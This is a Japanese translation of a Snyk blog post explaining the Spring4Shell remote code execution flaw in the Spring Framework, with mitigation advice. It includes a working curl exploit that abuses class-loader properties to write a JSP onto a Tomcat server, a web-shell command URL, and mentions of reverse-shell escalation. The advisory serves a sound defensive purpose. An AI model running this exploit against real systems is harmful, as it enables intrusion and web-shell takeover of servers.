本記事は2022年3月31日(米国時間)/2022年4月1日(日本時間)に公開した英語ブログSpring4Shell: The zero-day RCE in the Spring Framework explainedを日本語化した内容です。
2022年3月30日(米国時間)、Spring フレームワークにリモートコード実行(RCE)可能な重大な脆弱性が発見されました。具体的には、spring-webmvc
と spring-webflux
の両方の依存先である spring-beans
パッケージに含まれています。この脆弱性は、ソフトウェアのサプライチェーンを保護することがオープンソースにとって重要であることを示すもう一つの例です。
Lunasec、Rapid7、 Praetorianなどのセキュリティリソースがこの脆弱性が実在することを確認し、その間にSpringはこの問題を修正する新バージョンをすでにリリースしているので、アップデートをお勧めします。Spring4Shellは、数ヶ月前に起こったLog4Shellの脆弱性のような影響はないようですが、それでもSpringフレームワークを使用しているすべての組織でテストを行い、優先的に修正する必要があります。この記事では、RCEがどのように機能するかを解説します。
Spring4Shellの説明
もし、メモリにロードされたリクエストマッピングを持つコントローラがあれば、すでにこの脆弱性が存在することになります。下図は、 GreetingController
の PostMapping
を /greeting
に設定したものです。例えば Tomcat の http://mydomain/myapp/greeting
でアプリケーションを呼び出すと、入力を POJO (Plain Old Java Object) に変換しようとします。この場合のPOJOは Greeting
オブジェクトになります。
@Controller
public class GreetingController {
@PostMapping("/greeting")
public String greetingSubmit(@ModelAttribute Greeting greeting, Model model) {
model.addAttribute("greeting", greeting);
return "result";
}
}
しかし、Springはこれらの値をJavaオブジェクトにマッピングするためシリアライズを行うので、他の値を設定することも可能です。いろいろ調べてみると、クラスのプロパティを設定することができることがわかりました。これは、Tomcatで実行する場合、興味深いことです。
これを実際に示すために、次の curl
を使って、クラスのいくつかのロギングプロパティを通じて rce.jsp ファイルを作成することができます。
curl -X POST \
-H "pre:<%" \
-H "post:;%>" \
-F 'class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{pre}i out.println("HACKED" + (2 + 5))%{post}i' \
-F 'class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp' \
-F 'class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/myapp' \
-F 'class.module.classLoader.resources.context.parent.pipeline.first.prefix=rce' \
-F 'class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=' \
http://mydomain/myapp/greeting
このパターンで設定されたものは、すべてファイルの中身になります。巧妙なエスケープとヘッダーの使用により、私たちのチームはTomcatサーバー上に <% out.println("HACKED"); %>
という内容のJSPファイルを作成することが出来ました。このファイルは /myapp/rce.jsp
でアクセス可能です。
Snyk のセキュリティ研究チームのKirill EfimovとAviad Hahamiが作成した完全なPOCは、GitHubで公開されています。
単純な out.println
を評価できれば、 JSP ファイルを作成し、Runtime.exec()
を使って逆シェルアクセスを実現するターミナルコマンドを含めることも可能です。あるいは、JSPの機能を使って、素敵なウェブシェルインターフェースを作ることもできます。
多くのブログで紹介されている同様の手法は、コマンドを実行する機能を持つJSPを作成することです。このPythonスクリプトは、そのために必要なヘッダを持つ適切なリクエストを作成します。このスクリプトをデモアプリケーションで実行すると、次のように whoami
コマンドを実行することができます。 http://localhost:8080/tomcatwar.jsp?pwd=j&cmd=whoami
脆弱となる条件は?
現在、事態が急速に進展しているため、現在わかっていることのみをお伝えいたします。
影響を受けるバージョンのspring-beansについては、この脆弱性はJDK 9以降を使用している場合にのみ有効であるように見えます。JDK 9の導入は、古い問題CVE-2010-1622をかなり迂回することになります。
多くのJava開発者がすでに8以降のJavaバージョンに移行しており、またSpringフレームワークの利用が非常に多いため、多くのJavaアプリケーションがこの問題に対して脆弱である可能性があると考えています。
この問題を解決する方法は複数あります。Springのメンテナー(管理者)は、フレームワークの新バージョンをリリースしました。ですから、Springフレームワークのバージョン5.3.18
または5.2.20
にアップデートすることが最良のアドバイスです。私たちのセキュリティ研究チームによると、spring-bean
パッケージを最新バージョンに更新するだけで良いそうですが、フレームワーク全体を更新する方がより理にかなっています。Spring Bootを使用している場合、リリース2.6.6
または2.5.12
は更新されたSprフレームワークを統合しています。
Springの新しいバージョンにアップデートできない場合、JavaのバージョンをJava 8にダウングレードすることが選択肢となります。
もう一つの方法は、コントローラー内に InitBinder
を作成するか、以下のように ControllerAdvice
として独立させることです。
@ControllerAdvice
@Order(10000)
public class BinderControllerAdvice {
@InitBinder
public void setAllowedFields(WebDataBinder dataBinder) {
String[] denylist = new String[]{"class.*", "Class.*", "*.class.*", "*.Class.*"};
dataBinder.setDisallowedFields(denylist);
}
}
しかし、これは最終的な解決策ではないことに注意してください。このようなブロックリストを作成することは、セキュリティ上良い方法とは言えませんが、時間を稼ぐことはできるそうです。Springフレームワークのメンテナーは、ブログ記事で RequestMappingHandlerAdapterr
を作成して、他のすべての初期化に続いて最後に WebDataBinder
を更新することを提案しています。
フレームワークやライブラリに依存すること
Spring4Shellでは、オープンソースのフレームワークやライブラリに大きく依存していることを再認識させられます。しかし、今回のようなセキュリティ脆弱性や、最近のLog4Shell RCEのようなセキュリティ脆弱性が発生した場合、この事実を意識していれば即座に対応できます。
Snyk は、アプリケーションを定期的にスキャンすることで、このような事態に対処するお手伝いをします。新しい脆弱性が検出されると、Snyk はあなたとチームに注意を促し、アプリケーションを安全に保つための推奨される対策法を提供します。
最後に、今回のようなゼロデイ脆弱性によって、なぜライブラリの最新版を利用することが重要なのかを思い知らされます。最新版であれば、アップデートの適用、再構築、再リリースをより簡単に素早く行うことができます。